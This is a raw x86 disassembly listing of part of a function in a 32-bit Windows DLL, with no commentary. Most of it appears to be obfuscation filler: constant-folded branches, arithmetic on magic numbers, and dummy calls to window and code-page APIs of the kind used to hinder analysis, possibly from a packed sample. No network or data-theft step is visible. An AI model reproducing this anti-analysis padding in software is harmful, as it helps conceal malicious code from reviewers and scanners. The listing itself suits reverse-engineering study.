je 0x10040b47
movsx edx, word [0x100cd108]
test edx, edx
je 0x10040a5d
movzx eax, byte [ebp - 0x13]
test eax, eax
je 0x10040850
call dword [sym.imp.USER32.dll_GetFocus]
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 0
je 0x1004084b
mov ecx, dword [ebp - 0x320]
push ecx
call dword [sym.imp.USER32.dll_GetMenu]
mov dword [ebp - 0x520], eax
push 1
mov edx, dword [ebp - 0x520]
push edx
call dword [sym.imp.USER32.dll_GetSubMenu]
mov dword [ebp - 0x824], eax
jmp 0x10040a58
mov eax, 0xd0
test eax, eax
je 0x10040951
mov eax, dword [0x100cd100]
cdq
mov dword [ebp - 0x610], eax
mov dword [ebp - 0x60c], edx
mov ecx, dword [ebp - 0x60c]
cmp ecx, dword [ebp - 0x50]
jg 0x10040893
jl 0x10040887
mov edx, dword [ebp - 0x610]
cmp edx, dword [ebp - 0x54]
ja 0x10040893
mov dword [ebp - 0x324], 1
jmp 0x1004089d
mov dword [ebp - 0x324], 0
mov eax, dword [ebp - 0x324]
not eax
test eax, eax
je 0x10040951
movsx ecx, byte [str.6BlockUpgradeIfDriv]
sub ecx, 0x225
mov word [ebp - 0x24], cx
movsx eax, byte [0x100cd026]
cdq
mov ecx, eax
sub ecx, 0x6a832d30
movsx eax, byte [0x100cd083]
cdq
sub eax, ecx
mov byte [0x100cd083], al
movzx edx, word [ebp - 0x30]
test edx, edx
je 0x100408f4
movzx eax, word [0x100cd0b8]
mov dword [ebp - 0x328], eax
jmp 0x10040901
movsx ecx, word [0x100cd0ec]
mov dword [ebp - 0x328], ecx
mov dl, byte [ebp - 0x328]
mov byte [ebp - 0x12], dl
mov eax, dword [0x100cdb38]
mov dword [0x100cd0f0], eax
mov eax, dword [ebp - 0x58]
cdq
add eax, 0xf226a46e
mov byte [ebp - 0x14], al
mov ecx, 1
imul edx, ecx, 3
movzx eax, byte [edx + 0x1029cab0]
cdq
mov ecx, dword [0x100cd0c0]
mov esi, dword [0x100cd0c4]
sub ecx, eax
sbb esi, edx
mov dword [0x100cd0c0], ecx
mov dword [0x100cd0c4], esi
jmp 0x10040a58
movzx edx, byte [ebp - 0x14]
test edx, edx
je 0x100409d3
mov al, byte [ebp - 0x54]
mov byte [ebp - 0x12], al
movsx ecx, byte [0x100cd096]
sub ecx, 0x56
mov byte [ebp - 0x14], cl
movsx edx, byte [0x100cd06f]
movzx eax, byte [0x100cd07f]
add eax, edx
movzx ecx, byte [0x100cd07f]
add ecx, eax
mov byte [0x100cd07f], cl
mov edx, dword [ebp - 0x70]
or edx, dword [ebp - 0x6c]
je 0x100409a0
mov eax, dword [0x100cd0f0]
mov dword [ebp - 0x32c], eax
jmp 0x100409ac
mov ecx, dword [0x100cd0a8]
mov dword [ebp - 0x32c], ecx
mov dl, byte [ebp - 0x32c]
mov byte [ebp - 0x12], dl
movzx eax, byte [ebp - 0x12]
add eax, 0xe
cdq
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
mov eax, 0x54d9
mov word [0x100cd094], ax
jmp 0x10040a58
mov ecx, dword [0x100cd0b0]
or ecx, dword [0x100cd0b4]
je 0x10040a58
movzx edx, byte [0x100cd06e]
and edx, 0x93cadb0a
movsx eax, byte [str.6BlockUpgradeIfDriv]
sub eax, edx
mov byte [str.6BlockUpgradeIfDriv], al
mov ecx, 8
mov word [ebp - 0x2c], cx
mov dl, byte [0x100cd06f]
add dl, 1
mov byte [0x100cd06f], dl
xor eax, eax
mov dword [ebp - 0x70], 0x77cc
mov dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 0x70]
add ecx, 0x18
movzx eax, word [ebp - 0x24]
cdq
and eax, ecx
mov word [ebp - 0x24], ax
mov edx, dword [ebp - 0x70]
or edx, dword [ebp - 0x6c]
je 0x10040a45
movzx eax, byte [ebp - 0x13]
mov dword [ebp - 0x330], eax
jmp 0x10040a4f
movzx ecx, word [ebp - 0x28]
mov dword [ebp - 0x330], ecx
mov edx, dword [ebp - 0x330]
mov dword [ebp - 0x60], edx
jmp 0x10040b42
cmp dword [ebp - 0x44], 0
je 0x10040aec
cmp dword [0x100cd100], 0
je 0x10040a7d
mov eax, dword [0x100cd0f0]
mov dword [ebp - 0x334], eax
jmp 0x10040a89
mov ecx, dword [0x100cd0e0]
mov dword [ebp - 0x334], ecx
mov edx, dword [ebp - 0x334]
xor eax, eax
mov dword [ebp - 0x68], edx
mov dword [ebp - 0x64], eax
mov ecx, dword [0x100cd100]
mov edx, 1
imul eax, edx, 0x34e6
mov byte [eax + 0x10413d50], cl
movsx eax, word [0x100cd108]
cdq
add eax, dword [0x100cd0d0]
mov word [0x100cd108], ax
xor ecx, ecx
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
add edx, dword [0x100cd0e4]
adc eax, ecx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], eax
xor ecx, ecx
mov dword [0x100cd118], 0x49eb967c
mov dword [0x100cd11c], ecx
jmp 0x10040b42
cmp dword [ebp - 0x40], 0
jne 0x10040b42
movzx edx, word [ebp - 0x18]
sar edx, 8
mov dword [ebp - 0x48], edx
movsx eax, word [0x100cd098]
cdq
mov ecx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
xor ecx, eax
xor esi, edx
mov dword [0x100cd0d0], ecx
mov dword [0x100cd0d4], esi
movzx edx, word [ebp - 0x24]
movsx eax, byte [0x100cd026]
sub eax, edx
movsx ecx, byte [0x100cd026]
add ecx, eax
mov byte [0x100cd026], cl
mov edx, dword [ebp - 0x48]
sub edx, 0x5bd85202
mov byte [ebp - 0x14], dl
jmp 0x10040c76
cmp dword [ebp - 0x48], 0
je 0x10040b58
movsx eax, byte [0x100cd096]
test eax, eax
jne 0x10040b6a
movsx ecx, byte [0x100cd083]
not ecx
cmp ecx, dword [ebp - 0x60]
je 0x10040c76
mov edx, 1
imul eax, edx, 0x1ce7
movzx ecx, byte [eax + 0x102cfc58]
movzx edx, word [ebp - 0x24]
imul edx, ecx
mov word [ebp - 0x24], dx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x614], ecx
mov edx, dword [ebp - 0x618]
or edx, dword [ebp - 0x614]
jne 0x10040bb3
mov dword [ebp - 0x338], 1
jmp 0x10040bbd
mov dword [ebp - 0x338], 0
mov eax, dword [ebp - 0x338]
xor eax, dword [0x100cd0e0]
mov dword [0x100cd084], eax
mov ecx, dword [0x100cd0f8]
sub ecx, 0x3a5fb661
mov byte [0x100cd06e], cl
movsx edx, word [0x100cd0d8]
test edx, edx
jne 0x10040bf7
mov dword [ebp - 0x33c], 1
jmp 0x10040c01
mov dword [ebp - 0x33c], 0
movsx eax, byte [0x100cd026]
mov ecx, dword [ebp - 0x33c]
sub ecx, eax
jne 0x10040c1e
mov dword [ebp - 0x340], 1
jmp 0x10040c28
mov dword [ebp - 0x340], 0
movsx edx, word [0x100cd110]
add edx, dword [ebp - 0x60]
add edx, dword [ebp - 0x340]
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x80]
sub eax, 0xc6999fbb
mov dword [ebp - 0x5c], eax
movzx eax, word [ebp - 0x18]
cdq
mov ecx, dword [0x100cd0a0]
sub ecx, eax
mov eax, dword [0x100cd0a4]
sbb eax, edx
mov edx, dword [0x100cd0a0]
sub edx, ecx
mov ecx, dword [0x100cd0a4]
sbb ecx, eax
mov dword [0x100cd0a0], edx
mov dword [0x100cd0a4], ecx
push 0
push 0
lea edx, [ebp - 0x1bb0]
push edx
lea eax, [ebp - 0xd78]
push eax
lea ecx, [ebp - 0x1188]
push ecx
call fcn.10008120
add esp, 0x14
push 0xffffffffffffffbd
movzx edx, byte [ebp - 0x2c]
push edx
push 0x10
push 0
movzx eax, byte [ebp - 0x30]
push eax
push 0
push 0
call fcn.1005c4d0
add esp, 0x1c
movsx ecx, al
mov dword [ebp - 0x40], ecx
cmp dword [ebp - 0x40], 0
jae 0x10040ccb
mov dword [ebp - 0x344], 1
jmp 0x10040cd5
mov dword [ebp - 0x344], 0
cmp dword [ebp - 0x40], 0x26
jae 0x10040ce7
mov dword [ebp - 0x348], 1
jmp 0x10040cf1
mov dword [ebp - 0x348], 0
mov edx, dword [ebp - 0x344]
cmp edx, dword [ebp - 0x348]
jle 0x10040e82
movsx eax, word [0x100cd0d8]
test eax, eax
jne 0x10040d18
cmp dword [ebp - 0x48], 0
je 0x10040da0
movzx ecx, byte [ebp - 0x12]
movzx edx, byte [0x100cd06e]
imul edx, ecx
movzx eax, byte [0x100cd06e]
sub eax, edx
mov byte [0x100cd06e], al
mov ecx, 1
imul edx, ecx, 0x1102
movsx eax, byte [edx + 0x103dba78]
mov ecx, dword [0x100cd0c8]
sub ecx, eax
mov dword [0x100cd0c8], ecx
mov edx, dword [0x100cd0e4]
xor eax, eax
push 0x9c443
push 0x18615e91
push eax
push edx
call fcn.10099890
mov word [ebp - 0x1c], ax
mov ecx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
movzx eax, word [ebp - 0x24]
cdq
push esi
push ecx
push edx
push eax
call fcn.10099890
mov ecx, eax
mov esi, edx
movzx eax, word [ebp - 0x24]
cdq
push esi
push ecx
push edx
push eax
call fcn.10099890
mov word [ebp - 0x24], ax
jmp 0x10040e82
movsx edx, word [0x100cd0e8]
sub edx, 0xb1d7
mov dword [0x100cd090], edx
movzx eax, byte [0x100cd082]
mov esi, 0xba529cfb
sub esi, eax
add esi, dword [0x100cd0f0]
xor edi, edi
mov ecx, dword [ebp - 0x58]
add ecx, dword [0x100cd0f0]
xor ebx, ebx
movsx eax, word [ebp - 0x2c]
not eax
cdq
add eax, dword [0x100cd0b0]
adc edx, dword [0x100cd0b4]
not eax
not edx
push ebx
push ecx
push edx
push eax
call fcn.10099890
push edi
push esi
push edx
push eax
call fcn.10099890
not eax
mov dword [0x100cd0e4], eax
imul edx, dword [0x100cd0e0], 0x510a515e
xor eax, eax
mov dword [ebp - 0x80], edx
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 0x60]
add ecx, 0x8bee
mov word [0x100cd094], cx
mov edx, dword [0x100cdb38]
mov dword [ebp - 0x44], edx
movzx eax, word [ebp - 0x18]
test eax, eax
jne 0x10040e43
mov dword [ebp - 0x34c], 1
jmp 0x10040e4d
mov dword [ebp - 0x34c], 0
movsx ecx, word [0x100cd098]
movzx eax, byte [ebp - 0x13]
add eax, dword [ebp - 0x34c]
imul eax, ecx
cdq
mov ecx, eax
mov eax, dword [ebp - 0x58]
cdq
mov esi, eax
add esi, dword [0x100cd0f8]
movzx eax, word [ebp - 0x28]
cdq
add eax, dword [0x100cd0f8]
sub eax, esi
add eax, ecx
mov byte [ebp - 0x14], al
mov edx, dword [ebp - 0x524]
sub edx, dword [ebp - 0xa4]
mov eax, dword [ebp - 0x528]
sub eax, dword [ebp - 0xa4]
add eax, edx
mov ecx, dword [ebp - 0xa4]
add ecx, dword [ebp - 0xa4]
cmp ecx, eax
je 0x10042200
imul edx, dword [ebp - 0x48], 0xd301a3f5
mov word [ebp - 0x1c], dx
mov eax, dword [ebp - 0x5c]
add eax, dword [0x100cd0e0]
add eax, dword [0x100cd0e0]
mov dword [0x100cd0e0], eax
movzx ecx, byte [ebp - 0x13]
sub ecx, 0x99b3
mov word [0x100cd0dc], cx
mov edx, dword [0x100cdb38]
xor eax, eax
mov dword [ebp - 0x70], edx
mov dword [ebp - 0x6c], eax
movzx ecx, word [ebp - 0x30]
test ecx, ecx
je 0x10040f04
mov dl, byte [0x100cd06f]
mov byte [ebp - 0x85], dl
jmp 0x10040f0f
mov al, byte [0x100cd096]
mov byte [ebp - 0x85], al
mov cl, byte [ebp - 0x85]
mov byte [ebp - 0x12], cl
movzx edx, byte [ebp - 0x14]
test edx, edx
je 0x10041157
movsx eax, word [0x100cd108]
cdq
mov dword [ebp - 0x620], eax
mov dword [ebp - 0x61c], edx
mov eax, dword [ebp - 0x61c]
cmp eax, dword [ebp - 0x50]
jl 0x10040f5c
jg 0x10040f50
mov ecx, dword [ebp - 0x620]
cmp ecx, dword [ebp - 0x54]
jb 0x10040f5c
mov dword [ebp - 0x350], 1
jmp 0x10040f66
mov dword [ebp - 0x350], 0
movsx edx, word [0x100cd108]
cmp edx, 0x62
jl 0x10040f7e
mov dword [ebp - 0x354], 1
jmp 0x10040f88
mov dword [ebp - 0x354], 0
mov eax, dword [ebp - 0x350]
cmp eax, dword [ebp - 0x354]
jge 0x10041062
jmp 0x10040fd6
jmp 0x10040ffb
jmp 0x10041018
jmp 0x10041051
jmp 0x1004105d
jmp 0x10041152
mov ecx, dword [0x100cd0d0]
or ecx, dword [0x100cd0d4]
jne 0x1004107c
mov dword [ebp - 0x358], 1
jmp 0x10041086
mov dword [ebp - 0x358], 0
mov eax, dword [0x100cd0ac]
cdq
mov ecx, eax
add ecx, dword [ebp - 0x78]
movzx eax, word [ebp - 0x28]
not eax
cdq
sub eax, ecx
mov edx, dword [0x100cd0a8]
add edx, dword [ebp - 0x358]
sub edx, eax
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x70]
or eax, dword [ebp - 0x6c]
jne 0x100410bf
mov dword [ebp - 0x35c], 1
jmp 0x100410c9
mov dword [ebp - 0x35c], 0
movsx ecx, word [0x100cd110]
mov edx, dword [ebp - 0x35c]
sub edx, ecx
jne 0x100410e6
mov dword [ebp - 0x360], 1
jmp 0x100410f0
mov dword [ebp - 0x360], 0
mov eax, dword [0x100cd0a8]
xor eax, dword [ebp - 0x48]
imul ecx, eax, 0xd7e893c3
not ecx
movzx edx, word [0x100cd0b8]
movzx eax, word [ebp - 0x24]
and eax, edx
imul eax, dword [ebp - 0x360]
sub eax, ecx
mov byte [ebp - 0x12], al
mov cx, word [0x100cdb38]
mov word [0x100cd098], cx
movzx edx, byte [0x100cd027]
or edx, dword [ebp - 0x4c]
not edx
mov byte [0x100cd047], dl
mov eax, dword [ebp - 0x80]
xor eax, 0x7f9f
mov word [ebp - 0x1c], ax
imul ecx, dword [ebp - 0x44], 0xf807c87e
mov byte [str.6BlockUpgradeIfDriv], cl
jmp 0x10041244
movsx edx, word [ebp - 0x2c]
test edx, edx
je 0x10041244
mov eax, dword [ebp - 0x4c]
cdq
add eax, 0x2b8e4c1a
mov word [ebp - 0x28], ax
movzx eax, byte [ebp - 0x13]
test eax, eax
je 0x1004118c
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
mov dword [ebp - 0x3dc], ecx
mov dword [ebp - 0x3d8], edx
jmp 0x100411a0
movsx eax, byte [str.6BlockUpgradeIfDriv]
cdq
mov dword [ebp - 0x3dc], eax
mov dword [ebp - 0x3d8], edx
mov eax, dword [ebp - 0x3dc]
mov ecx, dword [ebp - 0x3d8]
mov dword [0x100cd0f8], eax
mov dword [0x100cd0fc], ecx
movsx edx, word [0x100cd110]
imul eax, edx, 0x78
mov word [ebp - 0x34], ax
cmp dword [0x100cd100], 0
je 0x100411da
movsx ecx, word [ebp - 0x20]
mov dword [ebp - 0x364], ecx
jmp 0x100411e3
mov edx, dword [ebp - 0x4c]
mov dword [ebp - 0x364], edx
mov al, byte [ebp - 0x364]
mov byte [0x100cd06f], al
push 0
push 0x5b
mov ecx, dword [0x100cd0b4]
push ecx
mov edx, dword [0x100cd0b0]
push edx
call fcn.10099890
mov dword [0x100cd088], eax
mov dword [0x100cd08c], edx
movzx eax, word [0x100cd10c]
not eax
sub eax, dword [0x100cd0e0]
and eax, dword [0x100cd100]
not eax
movsx ecx, word [ebp - 0x34]
movsx edx, word [0x100cd0dc]
movzx esi, byte [0x100cd027]
add esi, edx
sub esi, ecx
imul esi, eax
mov word [ebp - 0x24], si
xor eax, eax
mov byte [ebp - 0x8b], al
lea ecx, [ebp - 0xf80]
push ecx
lea edx, [ebp - 0x1188]
push edx
lea ecx, [ebp - 0x8b]
call fcn.10003160
mov ecx, eax
call fcn.100021d0
push eax
call fcn.10034850
add esp, 0xc
test eax, eax
je 0x100415fd
movsx eax, byte [0x100cd047]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
mov dword [0x100cd104], eax
mov ecx, dword [0x100cd0a0]
or ecx, dword [0x100cd0a4]
jne 0x100412aa
mov dword [ebp - 0x368], 1
jmp 0x100412b4
mov dword [ebp - 0x368], 0
mov edx, dword [ebp - 0x48]
add edx, dword [ebp - 0x368]
je 0x10041451
mov eax, dword [0x100cd0f0]
push eax
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
je 0x100413d7
mov ecx, dword [0x100cd0c8]
cmp ecx, dword [0x100cd084]
jae 0x100412f6
mov dword [ebp - 0x36c], 1
jmp 0x10041300
mov dword [ebp - 0x36c], 0
cmp dword [0x100cd0c8], 0x39
jge 0x10041315
mov dword [ebp - 0x370], 1
jmp 0x1004131f
mov dword [ebp - 0x370], 0
mov edx, dword [ebp - 0x36c]
cmp edx, dword [ebp - 0x370]
jne 0x100413d5
movsx eax, byte [str.6BlockUpgradeIfDriv]
cdq
mov ecx, eax
xor ecx, dword [ebp - 0x54]
movsx eax, byte [str.6BlockUpgradeIfDriv]
cdq
sub eax, ecx
mov byte [str.6BlockUpgradeIfDriv], al
mov eax, dword [ebp - 0x80]
mov edx, dword [ebp - 0x7c]
mov cl, 2
call fcn.100999a0
mov dword [0x100cd0f8], eax
mov dword [0x100cd0fc], edx
mov edx, 0xffffe9ce
mov word [0x100cd108], dx
movzx eax, byte [ebp - 0x13]
movzx ecx, byte [0x100cd06e]
not ecx
sub ecx, eax
jne 0x1004138e
mov dword [ebp - 0x374], 1
jmp 0x10041398
mov dword [ebp - 0x374], 0
mov edx, dword [0x100cd090]
imul edx, dword [ebp - 0x374]
xor eax, eax
mov dword [0x100cd088], edx
mov dword [0x100cd08c], eax
movzx ecx, word [ebp - 0x30]
sar ecx, 3
mov word [0x100cd098], cx
mov edx, dword [0x100cd0a8]
add edx, dword [ebp - 0x54]
mov eax, dword [0x100cd0a8]
add eax, edx
mov dword [0x100cd0a8], eax
jmp 0x10041451
movsx eax, byte [0x100cd06f]
cdq
mov ecx, dword [ebp - 0x50]
push ecx
mov ecx, dword [ebp - 0x54]
push ecx
push edx
push eax
call fcn.10099890
mov byte [0x100cd06f], al
movzx eax, word [ebp - 0x30]
shl eax, 5
cdq
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], edx
mov edx, dword [0x100cdb38]
xor eax, eax
mov dword [0x100cd0d0], edx
mov dword [0x100cd0d4], eax
movsx ecx, word [ebp - 0x34]
sub ecx, 0x48694f5c
movzx edx, word [0x100cd094]
and edx, ecx
mov word [0x100cd094], dx
mov eax, dword [ebp - 0x70]
sub eax, dword [ebp - 0x40]
mov word [0x100cd108], ax
movzx ecx, byte [0x100cd082]
movzx edx, word [0x100cd10c]
imul edx, ecx
mov byte [0x100cd082], dl
movzx eax, word [ebp - 0x18]
test eax, eax
je 0x10041531
mov ecx, dword [0x100cd0b0]
push ecx
push 0xc6
push 0
push 0
mov edx, dword [0x100cd0c0]
mov eax, dword [0x100cd0c4]
mov dword [ebp - 0x828], eax
push edx
push 0x1f
push 0
call fcn.1005d580
add esp, 0x1c
mov word [ebp - 0x1c], ax
movsx eax, word [0x100cd0e8]
cdq
mov dword [ebp - 0x628], eax
mov dword [ebp - 0x624], edx
mov ecx, dword [ebp - 0x6c]
cmp ecx, dword [ebp - 0x624]
ja 0x100414cf
jb 0x100414bb
mov edx, dword [ebp - 0x70]
cmp edx, dword [ebp - 0x628]
ja 0x100414cf
xor eax, eax
mov dword [ebp - 0x4c4], 1
mov dword [ebp - 0x4c0], eax
jmp 0x100414da
xorps xmm0, xmm0
movlpd qword [ebp - 0x4c4], xmm0
movzx eax, word [0x100cd094]
cdq
mov ecx, dword [0x100cd0b4]
push ecx
mov ecx, dword [0x100cd0b0]
push ecx
push edx
push eax
call fcn.10099890
or eax, dword [ebp - 0x4c4]
or edx, dword [ebp - 0x4c0]
mov dword [ebp - 0x630], eax
mov dword [ebp - 0x62c], edx
mov edx, dword [ebp - 0x630]
or edx, dword [ebp - 0x62c]
je 0x1004152c
movsx eax, byte [ebp - 0x11]
push eax
call dword [sym.imp.USER32.dll_IsZoomed]
mov word [ebp - 0x18], ax
jmp 0x100415ee
movzx ecx, word [ebp - 0x30]
test ecx, ecx
je 0x100415ee
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x82c], edx
mov eax, dword [ebp - 0x58]
cdq
mov esi, eax
add esi, ecx
mov eax, dword [ebp - 0x58]
cdq
sub eax, esi
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0x58]
add eax, dword [0x100cd0a8]
movzx ecx, byte [ebp - 0x12]
xor ecx, eax
mov byte [0x100cd047], cl
mov dl, byte [0x100cdb38]
mov byte [0x100cd047], dl
mov eax, dword [0x100cd0c0]
mov ecx, dword [0x100cd0c4]
mov dword [ebp - 0x638], eax
mov dword [ebp - 0x634], ecx
mov edx, dword [ebp - 0x638]
or edx, dword [ebp - 0x634]
je 0x100415b2
movsx eax, byte [0x100cd06f]
mov dword [ebp - 0x378], eax
jmp 0x100415be
mov ecx, dword [0x100cd0f0]
mov dword [ebp - 0x378], ecx
mov edx, dword [ebp - 0x378]
mov dword [0x100cd0a8], edx
mov ecx, dword [0x100cd0d0]
add ecx, 0xd
mov esi, dword [0x100cd0d4]
adc esi, 0
movzx eax, word [ebp - 0x28]
cdq
push esi
push ecx
push edx
push eax
call fcn.10099890
mov word [ebp - 0x28], ax
mov eax, 1
jmp 0x100423d0
movsx eax, byte [ebp - 0x11]
cdq
mov dword [ebp - 0x640], eax
mov dword [ebp - 0x63c], edx
mov edx, dword [ebp - 0x640]
cmp edx, dword [ebp - 0x78]
jne 0x10041628
mov eax, dword [ebp - 0x63c]
cmp eax, dword [ebp - 0x74]
je 0x100419ba
movsx ecx, word [ebp - 0x2c]
test ecx, ecx
jne 0x1004163c
mov dword [ebp - 0x37c], 1
jmp 0x10041646
mov dword [ebp - 0x37c], 0
movzx edx, word [ebp - 0x28]
cmp edx, dword [ebp - 0x37c]
jg 0x10041686
cmp dword [ebp - 0x48], 0
jne 0x10041664
mov dword [ebp - 0x380], 1
jmp 0x1004166e
mov dword [ebp - 0x380], 0
movsx eax, word [ebp - 0x2c]
cmp dword [ebp - 0x380], eax
jge 0x10041686
mov dword [ebp - 0x38c], 0
jmp 0x10041690
mov dword [ebp - 0x38c], 1
movzx ecx, byte [0x100cd082]
cmp ecx, dword [0x100cd090]
jne 0x100416ab
mov dword [ebp - 0x384], 1
jmp 0x100416b5
mov dword [ebp - 0x384], 0
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x648], edx
mov dword [ebp - 0x644], eax
cmp dword [ebp - 0x644], 0x3ed90
jl 0x100416ed
jg 0x100416e1
cmp dword [ebp - 0x648], 0xfbdc0a37
jbe 0x100416ed
mov dword [ebp - 0x388], 1
jmp 0x100416f7
mov dword [ebp - 0x388], 0
mov ecx, dword [ebp - 0x384]
cmp ecx, dword [ebp - 0x388]
jle 0x10041711
mov dword [ebp - 0x390], 1
jmp 0x1004171b
mov dword [ebp - 0x390], 0
mov edx, dword [ebp - 0x38c]
add edx, dword [ebp - 0x390]
je 0x100419b8
movzx eax, byte [ebp - 0x12]
movzx ecx, byte [0x100cd027]
cmp ecx, eax
jne 0x10041771
mov edx, dword [ebp - 0x80]
add edx, 0x3bef
mov eax, dword [ebp - 0x7c]
adc eax, 0
mov dword [ebp - 0x698], edx
mov dword [ebp - 0x694], eax
mov ecx, dword [ebp - 0x698]
or ecx, dword [ebp - 0x694]
je 0x10041771
mov dword [ebp - 0x394], 1
jmp 0x1004177b
mov dword [ebp - 0x394], 0
movsx edx, word [ebp - 0x2c]
cmp dword [ebp - 0x394], edx
jg 0x10041937
movzx eax, word [ebp - 0x30]
imul eax, dword [ebp - 0x5c]
test eax, eax
je 0x100417ff
movzx ecx, word [ebp - 0x1c]
movzx edx, byte [ebp - 0x13]
add edx, ecx
movzx eax, byte [ebp - 0x13]
sub eax, edx
mov byte [ebp - 0x13], al
movzx ecx, byte [0x100cd06e]
sub ecx, 0x18f132cb
movsx edx, byte [ebp - 0x11]
sub edx, ecx
mov byte [ebp - 0x11], dl
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x58]
mov dword [ebp - 0x40], eax
mov byte [0x100cd082], 0xe
movzx eax, byte [ebp - 0x14]
cdq
add eax, dword [0x100cd0f8]
mov byte [ebp - 0x14], al
movzx ecx, byte [ebp - 0x14]
movsx edx, word [0x100cd098]
sub edx, ecx
movsx eax, word [0x100cd098]
or eax, edx
mov word [0x100cd098], ax
jmp 0x10041932
movsx eax, byte [0x100cd026]
cdq
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x830], edx
mov word [0x100cd094], cx
movzx eax, byte [0x100cd07f]
cdq
push edx
push eax
mov eax, dword [0x100cd0d4]
push eax
mov ecx, dword [0x100cd0d0]
push ecx
call fcn.10099890
mov ecx, dword [0x100cd0d0]
sub ecx, eax
mov eax, dword [0x100cd0d4]
sbb eax, edx
mov dword [0x100cd0d0], ecx
mov dword [0x100cd0d4], eax
mov dword [0x100cd0ac], 0xd8d86568
mov ecx, dword [ebp - 0x44]
add ecx, dword [ebp - 0x58]
jne 0x10041874
mov dword [ebp - 0x398], 1
jmp 0x1004187e
mov dword [ebp - 0x398], 0
movzx edx, word [0x100cd0b8]
add edx, 0x5df2
jne 0x10041899
mov dword [ebp - 0x39c], 1
jmp 0x100418a3
mov dword [ebp - 0x39c], 0
movsx eax, byte [str.6BlockUpgradeIfDriv]
movzx ecx, byte [0x100cd07f]
not ecx
imul ecx, eax
mov edx, dword [ebp - 0x398]
xor edx, dword [ebp - 0x39c]
imul edx, ecx
mov word [ebp - 0x2c], dx
movzx eax, word [ebp - 0x1c]
movsx ecx, word [ebp - 0x20]
sub ecx, eax
not ecx
mov eax, ecx
cdq
mov esi, eax
mov edi, edx
mov edx, dword [0x100cd090]
xor eax, eax
mov ecx, dword [ebp - 0x74]
push ecx
mov ecx, dword [ebp - 0x78]
push ecx
push eax
push edx
call fcn.10099890
and eax, esi
and edx, edi
mov dword [ebp - 0x650], eax
mov dword [ebp - 0x64c], edx
mov edx, dword [ebp - 0x650]
or edx, dword [ebp - 0x64c]
jne 0x1004191d
mov dword [ebp - 0x3a0], 1
jmp 0x10041927
mov dword [ebp - 0x3a0], 0
mov eax, dword [ebp - 0x3a0]
mov dword [0x100cd0e4], eax
jmp 0x100419b8
mov ecx, dword [0x100cd0f8]
or ecx, dword [0x100cd0fc]
je 0x100419b8
movsx eax, byte [0x100cd026]
cdq
add eax, 0x6124a169
mov byte [0x100cd096], al
mov edx, dword [0x100cd0a8]
sub edx, 0x40dda6ac
mov word [0x100cd10c], dx
mov eax, dword [ebp - 0x5c]
movsx ecx, word [ebp - 0x20]
lea edx, [ecx + eax + 0x3d81]
mov word [ebp - 0x20], dx
movsx eax, byte [ebp - 0x11]
cdq
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
mov eax, dword [0x100cd0d0]
sub eax, dword [0x100cd0f8]
mov ecx, dword [0x100cd0d4]
sbb ecx, dword [0x100cd0fc]
mov edx, dword [0x100cd0d0]
sub edx, eax
mov eax, dword [0x100cd0d4]
sbb eax, ecx
mov dword [0x100cd0d0], edx
mov dword [0x100cd0d4], eax
jmp 0x10041a06
mov ecx, 0x7009
test ecx, ecx
je 0x10041a06
mov edx, dword [0x100cdb38]
mov dword [ebp - 0x40], edx
movzx eax, word [ebp - 0x24]
movzx ecx, word [ebp - 0x28]
sub ecx, eax
mov eax, ecx
cdq
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
mov dx, word [ebp - 0x1c]
sub dx, 1
mov word [ebp - 0x1c], dx
movsx eax, byte [ebp - 0x11]
add eax, 0x57
mov dword [0x100cd0c8], eax
movzx eax, word [ebp - 0x1c]
cdq
add eax, dword [0x100cd0b0]
mov word [ebp - 0x1c], ax
mov ecx, dword [ebp - 0x3a8]
add ecx, dword [ebp - 0x3a4]
mov edx, dword [ebp - 0x3a4]
sub edx, dword [ebp - 0x3a8]
imul edx, ecx
cmp edx, 0x36a
je 0x10042200
mov byte [ebp - 0x11], 4
movsx eax, byte [0x100cd047]
imul eax, eax, 0x592a
cdq
mov dword [0x100cd088], eax
mov dword [0x100cd08c], edx
movzx ecx, word [ebp - 0x18]
imul ecx, dword [0x100cd100]
movzx edx, word [ebp - 0x18]
imul edx, ecx
mov word [ebp - 0x18], dx
movsx eax, byte [0x100cd026]
sub eax, 0x9fed
cdq
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
movsx eax, byte [0x100cd047]
add eax, 0x1a
mov word [ebp - 0x2c], ax
mov ecx, dword [0x100cd0a0]
xor ecx, dword [ebp - 0x78]
movzx eax, byte [0x100cd082]
cdq
sub eax, ecx
mov dword [0x100cd0e4], eax
movsx edx, byte [ebp - 0x11]
mov dword [ebp - 0x3ac], edx
cmp dword [ebp - 0x3ac], 4
ja case.default.0x10041ab6
mov eax, dword [ebp - 0x3ac]
jmp dword [eax*4 + 0x10042430]
movzx ecx, byte [ebp - 0x14]
test ecx, ecx
jne 0x10041ad1
mov dword [ebp - 0x3b4], 1
jmp 0x10041adb
mov dword [ebp - 0x3b4], 0
mov edx, dword [0x100cd0d0]
not edx
mov eax, dword [0x100cd0d4]
not eax
xor edx, 0x6597b57e
